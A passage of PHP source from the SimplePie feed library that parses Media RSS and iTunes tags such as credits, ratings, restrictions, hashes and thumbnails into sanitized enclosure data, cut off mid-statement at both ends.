$this->sanitize($copyright[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($copyright[0]['data'])) { $copyright_label = $this->sanitize($copyright[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $copyrights_parent = $this->registry->create('Copyright', [$copyright_url, $copyright_label]); } // CREDITS if ($credits = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) { foreach ($credits as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $credits_parent[] = $this->registry->create('Credit', [$credit_role, $credit_scheme, $credit_name]); } } elseif ($credits = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'credit')) { foreach ($credits as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $credits_parent[] = $this->registry->create('Credit', [$credit_role, $credit_scheme, $credit_name]); } } if (is_array($credits_parent)) { $credits_parent = array_values(array_unique($credits_parent)); } // DESCRIPTION if ($description_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) { if (isset($description_parent[0]['data'])) { $description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } } elseif ($description_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'description')) { if (isset($description_parent[0]['data'])) { $description_parent = $this->sanitize($description_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } } // DURATION if ($duration_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'duration')) { $seconds = null; $minutes = null; $hours = null; if (isset($duration_parent[0]['data'])) { $temp = explode(':', $this->sanitize($duration_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)); if (sizeof($temp) > 0) { $seconds = (int) array_pop($temp); } if (sizeof($temp) > 0) { $minutes = (int) array_pop($temp); $seconds += $minutes * 60; } if (sizeof($temp) > 0) { $hours = (int) array_pop($temp); $seconds += $hours * 3600; } unset($temp); $duration_parent = $seconds; } } // HASHES if ($hashes_iterator = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) { foreach ($hashes_iterator as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes_parent[] = $algo.':'.$value; } } elseif ($hashes_iterator = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'hash')) { foreach ($hashes_iterator as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes_parent[] = $algo.':'.$value; } } if (is_array($hashes_parent)) { $hashes_parent = array_values(array_unique($hashes_parent)); } // KEYWORDS if ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } elseif ($keywords = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'keywords')) { if (isset($keywords[0]['data'])) { $temp = explode(',', $this->sanitize($keywords[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords_parent[] = trim($word); } } unset($temp); } if (is_array($keywords_parent)) { $keywords_parent = array_values(array_unique($keywords_parent)); } // PLAYER if ($player_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) { if (isset($player_parent[0]['attribs']['']['url'])) { $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI); } } elseif ($player_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'player')) { if (isset($player_parent[0]['attribs']['']['url'])) { $player_parent = $this->sanitize($player_parent[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI); } } // RATINGS if ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) { foreach ($ratings as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', [$rating_scheme, $rating_value]); } } elseif ($ratings = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) { foreach ($ratings as $rating) { $rating_scheme = 'urn:itunes'; $rating_value = null; if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', [$rating_scheme, $rating_value]); } } elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'rating')) { foreach ($ratings as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', [$rating_scheme, $rating_value]); } } elseif ($ratings = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'explicit')) { foreach ($ratings as $rating) { $rating_scheme = 'urn:itunes'; $rating_value = null; if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $ratings_parent[] = $this->registry->create('Rating', [$rating_scheme, $rating_value]); } } if (is_array($ratings_parent)) { $ratings_parent = array_values(array_unique($ratings_parent)); } // RESTRICTIONS if ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) { foreach ($restrictions as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $restrictions_parent[] = $this->registry->create('Restriction', [$restriction_relationship, $restriction_type, $restriction_value]); } } elseif ($restrictions = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) { foreach ($restrictions as $restriction) { $restriction_relationship = 'allow'; $restriction_type = null; $restriction_value = 'itunes'; if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') { $restriction_relationship = 'deny'; } $restrictions_parent[] = $this->registry->create('Restriction', [$restriction_relationship, $restriction_type, $restriction_value]); } } elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'restriction')) { foreach ($restrictions as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $restrictions_parent[] = $this->registry->create('Restriction', [$restriction_relationship, $restriction_type, $restriction_value]); } } elseif ($restrictions = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'block')) { foreach ($restrictions as $restriction) { $restriction_relationship = 'allow'; $restriction_type = null; $restriction_value = 'itunes'; if (isset($restriction['data']) && strtolower($restriction['data']) === 'yes') { $restriction_relationship = 'deny'; } $restrictions_parent[] = $this->registry->create('Restriction', [$restriction_relationship, $restriction_type, $restriction_value]); } } if (is_array($restrictions_parent)) { $restrictions_parent = array_values(array_unique($restrictions_parent)); } else { $restrictions_parent = [new \SimplePie\Restriction('allow', null, 'default')]; } // THUMBNAILS if ($thumbnails = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) { foreach ($thumbnails as $thumbnail) { if (isset($thumbnail['attribs']['']['url'])) { $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI); } } } elseif ($thumbnails = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'thumbnail')) { foreach ($thumbnails as $thumbnail) { if (isset($thumbnail['attribs']['']['url'])) { $thumbnails_parent[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI); } } } // TITLES if ($title_parent = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) { if (isset($title_parent[0]['data'])) { $title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } } elseif ($title_parent = $parent->get_channel_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'title')) { if (isset($title_parent[0]['data'])) { $title_parent = $this->sanitize($title_parent[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } } // Clear the memory unset($parent); // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories = null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // If we have media:group tags, loop through them. foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_MEDIARSS, 'group') as $group) { if (isset($group['child']) && isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) { // If we have media:content tags, loop through them. foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) { if (isset($content['attribs']['']['url'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories = null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // Start checking the attributes of media:content if (isset($content['attribs']['']['bitrate'])) { $bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['channels'])) { $channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['duration'])) { $duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $duration = $duration_parent; } if (isset($content['attribs']['']['expression'])) { $expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['framerate'])) { $framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['height'])) { $height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['lang'])) { $lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['fileSize'])) { $length = intval($content['attribs']['']['fileSize']); } if (isset($content['attribs']['']['medium'])) { $medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['samplingrate'])) { $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['type'])) { $type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['width'])) { $width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI); // Checking the other optional media: elements. Priority: media:content, media:group, item, channel // CAPTIONS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) { foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } else { $captions = $captions_parent; } // CATEGORIES if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', [$term, $scheme, $label]); } } if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', [$term, $scheme, $label]); } } if (is_array($categories) && is_array($categories_parent)) { $categories = array_values(array_unique(array_merge($categories, $categories_parent))); } elseif (is_array($categories)) { $categories = array_values(array_unique($categories)); } elseif (is_array($categories_parent)) { $categories = array_values(array_unique($categories_parent)); } // COPYRIGHTS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', [$copyright_url, $copyright_label]); } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', [$copyright_url, $copyright_label]); } else { $copyrights = $copyrights_parent; } // CREDITS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', [$credit_role, $credit_scheme, $credit_name]); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) { foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', [$credit_role, $credit_scheme, $credit_name]); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } else { $credits = $credits_parent; } // DESCRIPTION if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $description = $description_parent; } // HASHES if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) { foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } else { $hashes = $hashes_parent; } // KEYWORDS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) { if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) { if (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } else { $keywords = $keywords_parent; } // PLAYER if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) { $player = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI); } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) { $player = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI); } else { $player = $player_parent; } // RATINGS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', [$rating_scheme, $rating_value]); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) { foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', [$rating_scheme, $rating_value]); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } else { $ratings = $ratings_parent; } // RESTRICTIONS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', [$restriction_relationship, $restriction_type, $restriction_value]); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) { foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', [$restriction_relationship, $restriction_type, $restriction_value]); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } else { $restrictions = $restrictions_parent; } // THUMBNAILS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI); } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], 